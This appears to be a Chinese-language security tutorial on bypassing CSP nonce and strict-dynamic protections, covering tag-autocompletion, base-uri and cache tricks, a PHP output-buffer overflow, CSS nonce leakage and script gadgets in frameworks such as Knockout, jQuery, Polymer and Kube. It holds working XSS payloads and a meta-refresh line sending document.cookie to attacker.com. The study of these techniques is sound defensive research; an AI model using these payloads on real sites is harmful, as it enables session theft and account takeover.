CSP nonce&strict-dynamic Bypass
关于CSP中nonce&strict-dynamic机制分析和绕过
前提知识
众所周知,CSP的默认策略是不允许inline脚本执行,想要运行inline脚本需要进行如下设置
1 | Content-Security-Policy: script-src 'unsafe-inline' |
但是为了防止恶意脚本的注入,CSP引入了nonce机制和script-dynamic机制
探究nonce机制
定义
参考MDN的标准
nonce-<base64-value>
An allow-list for specific inline scripts using a cryptographic nonce (number used once). The server must generate a unique nonce value each time it transmits a policy. It is critical to provide an unguessable nonce, as bypassing a resource’s policy is otherwise trivial. See unsafe inline script for an example. Specifying nonce makes a modern browser ignore
'unsafe-inline'
which could still be set for older browsers without nonce support.Note: The CSP
nonce
source can only be apply nonceable elements (e.g. as the<img>
element has nononce
attribute, there is no way to associate it with this CSP source).
使用一个随机nonce
来控制白名单,即可允许执行脚本,所以需要确保nonce
是随机生成的,而且这个nonce
会忽略unsafe-inline
属性
例子
1 | Content-Security-Policy: script-src 'nonce-test' |
1 | <script nonce="test"> |
常见绕过思路
浏览器自动补全
Firefox、IE成功,Chrome失败
如果在nonce上方存在XSS注入,则可以直接通过标签闭合使nonce成为自己的属性
实例
1 |
|
payload
1 | ?xss=<script src=data:text/plain,alert(1) |
Base-uri绕过
如果base-uri没有被设置,那我们可以使用<base>
将文档的基础uri改为自己的服务器,引入自定义的js文件
例子
1 |
|
meta标签绕过
1 | <meta http-equiv="refresh" content="1;url=http://attacker.com/receive.php?c="+escape(document.cookie)) > |
浏览器缓存绕过
具体步骤可参考这篇文章
攻击能够实现的原因有2个:
- 浏览器开启了缓存,只修改location.hash不会请求服务器,给我们能够窃取nonce的机会
- 利用iframe标签窃取nonce并实现任意XSS
输出缓冲区溢出绕过
因为在官方靶机复现的时候最后没打到admin那,本地搭环境发现要用域名在google注册reCAPTCHA服务,所以下面主要是讲绕过CSP nonce的部分
题目核心代码如下
1 |
|
漏洞的核心在于在执行header()
之前会对nonce进行计算,hash的seed可控且无长度限制,当我们输入alg参数时,页面会输出warning
参考PHP文档的Runtime Configuration
output_buffering
bool/intYou can enable output buffering for all files by setting this directive to ‘On’. If you wish to limit the size of the buffer to a certain size - you can use a maximum number of bytes instead of ‘On’, as a value for this directive (e.g., output_buffering=4096). This directive is always Off in PHP-CLI.
PHP具有多个种类的输出缓冲区,输出缓冲区默认大小是4096 bytes,HTTP缓冲区负责存储HTTP Header和HTTP Body,如果缓冲区超过最大限制就会强制刷新,所以只要我们输入的alg参数足够长,就能导致缓冲区溢出,从而使header修改失败
注意CLI的输出缓冲区比较特别,CLI会将INI配置中的output_buffer选项强制设置为0,这表示禁用默认PHP输出缓冲区
在web中查看,你可以再一次确定输出缓冲区默认大小是4096 bytes
注入足够长度的参数header就会无法修改从而绕过CSP,此时插入XSS便能攻击成功
所以前半部分的payload如下
1 | <script> |
探究strict-dynamic机制
定义
参考MDN的标准
strict-dynamic
The
strict-dynamic
source expression specifies that the trust explicitly given to a script present in the markup, by accompanying it with a nonce or a hash, shall be propagated to all the scripts loaded by that root script. At the same time, any allow-list or source expressions such as'self'
or'unsafe-inline'
are ignored. See script-src for an example.
strict-dynamic
规定需要给可执行脚本一个明确的nonce
或者hash
,防止因为白名单存在相关漏洞而被引入恶意脚本,同时也会忽略self
和unsafe-inline
属性,strict-dynamic
可让我们动态插入满足nonce
的可执行脚本
例子
1 | Content-Security-Policy: script-src 'nonce-test' 'strict-dynamic' example.com |
1 | <script src="//example.com/assets/A.js" nonce="test"> |
常见绕过思路
通过CSS泄露nonce
主要参考这篇文章,可以说一种侧信道攻击
CSS攻击原理都一样,先进行匹配然后通过url进行回显,具体就不多说了
1 | // 1 |
Script Gadget
使用某个HTML或者JS文件中现存的特定的JS代码来绕过CSP,这个是我们本次学习的重点
Script Gadget
参考2017年blackhat的《Breaking XSS mitigations via Script Gadgets》
分类
在HTML代码中
1 | <div data-role="button" |
所以可以构造如下语句进行注入
1 | <div data-role="button" data-text="<script>alert(1)</script>">...</div> |
在JS代码中
以Knockout Gadget为例
1 | // 获取data-bind属性 |
所以可以构造如下语句进行注入
1 | <div data-bind="value: alert(1)"></div> |
产生原因
- 通过表达式解析器来进行non-eval
- 自定义的表达式解析器安全风险
- 表达式可被“动态编译”成Javascript
- 代码直接操作在DOM元素、属性或原生对象等
- 有足够多的复合表达式语言
历史漏洞
Knockout属性绑定注入
1
<div data-bind="value: alert(1)"></div>
代码分析
1
2
3
4
5
6
7
8
9// 获取data-bind属性
switch (node.nodeType) {
case 1: return node.getAttribute("data-bind");
// 写入到rewrittenBindings
var rewrittenBindings = ko.expressionRewriting.preProcessBindings(bindingsString, options),
functionBody = "with($context){with($data||{}){return{" + rewrittenBindings + "}}}";
return new Function("$context", "$element", functionBody);
// 执行上述脚本
return bindingFunction(bindingContext, node);Ajaxify将文本进行类型转换
1
<div class="document-script">alert(1)</div>
代码分析
1
2
3
4
5
6
7
8
9
10
11
12// 获取document-script
$scripts = $dataContent.find('.document-script');
// 添加script
$scripts.each(function(){
var $script = $(this), scriptText = $script.text(), scriptNode = document.createElement('script');
if ( $script.attr('src') ) {
if ( !$script[0].async ) { scriptNode.async = false; }
scriptNode.src = $script.attr('src');
}
scriptNode.appendChild(document.createTextNode(scriptText));
contentNode.appendChild(scriptNode);
});Bootstrap-simplest直接插入html代码
1
2
3
4<div data-toggle=tooltip data-html=true title='<script>alert(1)</script>'>aaaa</div>
<script nonce="random">
$("[data-toggle=tooltip]").tooltip();
</script>限制条件比较严格,tooltip的title可控且tooltip调用了
tooltip()
代码分析
1
2
3
4
5
6// 初始化控件
this.init('tooltip', element, options)
// 显示控件
if (!self.options.delay || !self.options.delay.show) return self.show()
// 直接插入节点
this.options.container ? $tip.appendTo(this.options.container) : $tip.insertAfter(this.$element)Closure混淆闭包引入自定义js
1
2
3<a id=CLOSURE_BASE_PATH href=data:/,1/alert(1)//></a>
<form id=CLOSURE_UNCOMPILED_DEFINES>
<input id=goog.ENABLE_CHROME_APP_SAFE_SCRIPT_LOADING></form>Require JS允许自定义js文件
1
<script data-main='data:1,alert(1)' src='require.js'></script>
代码分析
1
2
3
4
5
6
7
8// 获取data-main属性
dataMain = script.getAttribute('data-main');
// 加载为配置文件
cfg.deps = cfg.deps ? cfg.deps.concat(mainScript) : [mainScript];
// 加载配置文件
req.config = function (config) {
return req(config);
};Ember允许动态插入script
1
2
3<script type=text/x-handlebars>
</script>代码分析
1
2
3
4// 提取text/x-handlebars标签
var selector = 'script[type="text/x-handlebars"]';
// 设置模板
setTemplate(templateName, template);JQuery重插入script
1
2<form class="child">
<input name="ownerDocument"/><script>alert(1);</script></form>代码分析
1
2
3
4// 插入下一个节点
this.parentNode.insertBefore( elem, this.nextSibling );
// 运行插入代码
DOMEval( node.textContent.replace( rcleanScript, "" ), doc );jQuery Mobile通过HTML注入闭合注释
1
2<div data-role=popup id='--><script>"use strict"
alert(1)</script>'></div>代码分析
1
2
3
4
5
6
7
8// 代码拼接直接插入html
if ( myId ) {
ui.screen.attr( "id", myId + "-screen" );
ui.container.attr( "id", myId + "-popup" );
ui.placeholder
.attr( "id", myId + "-placeholder" )
.html( "<!-- placeholder for " + myId + " -->" );
}Aurelia利用本地函数创建script
1
2
3
4<div ref="me"
s.bind="$this.me.ownerDocument.createElement('script')"
data-bar="${$this.me.s.src='data:,alert(1)'}"
data-foobar="${$this.me.ownerDocument.body.appendChild($this.me.s)}"></div>Polymer 1.x重写“私人”下划线属性
1
2
3
4
5
6
7
8<template is=dom-bind><div
five={{insert(me._nodes.0.scriptprop)}}
four="{{set('insert',me.root.ownerDocument.body.appendChild)}}"
three="{{set('me',nextSibling.previousSibling)}}"
two={{set('_nodes.0.scriptprop.src','data:\,alert(1)')}}
scriptprop={{_factory()}}
one={{set('_factoryArgs.0','script')}} >
</template>Ractive引入任意js、窃取nonce
1
2
3<script id='template' type='text/ractive'>
</script>1
2
3
4
5
6
7<script id='template' type='text/ractive'>
{{@global.document.currentScript.nonce}}>
{{}}script>'>
</script>代码分析
1
2
3
4
5
6
7
8
9// 获取模板
if (!(template = doc.getElementById(id))) {
if (options && options.noThrow) {
return;
}
throw new Error(`Could not find template element with id #${id}`);
}
// 返回模板
return 'textContent' in template ? template.textContent : template.innerHTML;
漏洞挖掘
Sink RegEx Mode
1 | eval\( |
我们这次的挖掘目标是Kube,一个轻量的CSS框架
data- Atrribute Gadget*
根据Knockout Gadget
的思路查找是否存在函数构造
1 | RegEx: /new Function\(/i |
漏洞链如下
1 | // 对data属性进行检查 |
payload构造显然易见,直接找一个有data-*
属性的空间,然后注入一个字典就好
1 | <meta http-equiv=content-security-policy content="script-src 'nonce-random' 'unsafe-eval' 'strict-dynamic'; "> |
data-target Atrribute Gadget
这个比较鸡肋,绕不过
nonce
机制
1 | _buildElement: function($el) |
1 | create: function(html) |
在data-target
属性注入
1 | <button data-target="<img src onerror=alert(1)>" data-kube="alert">xss</button> |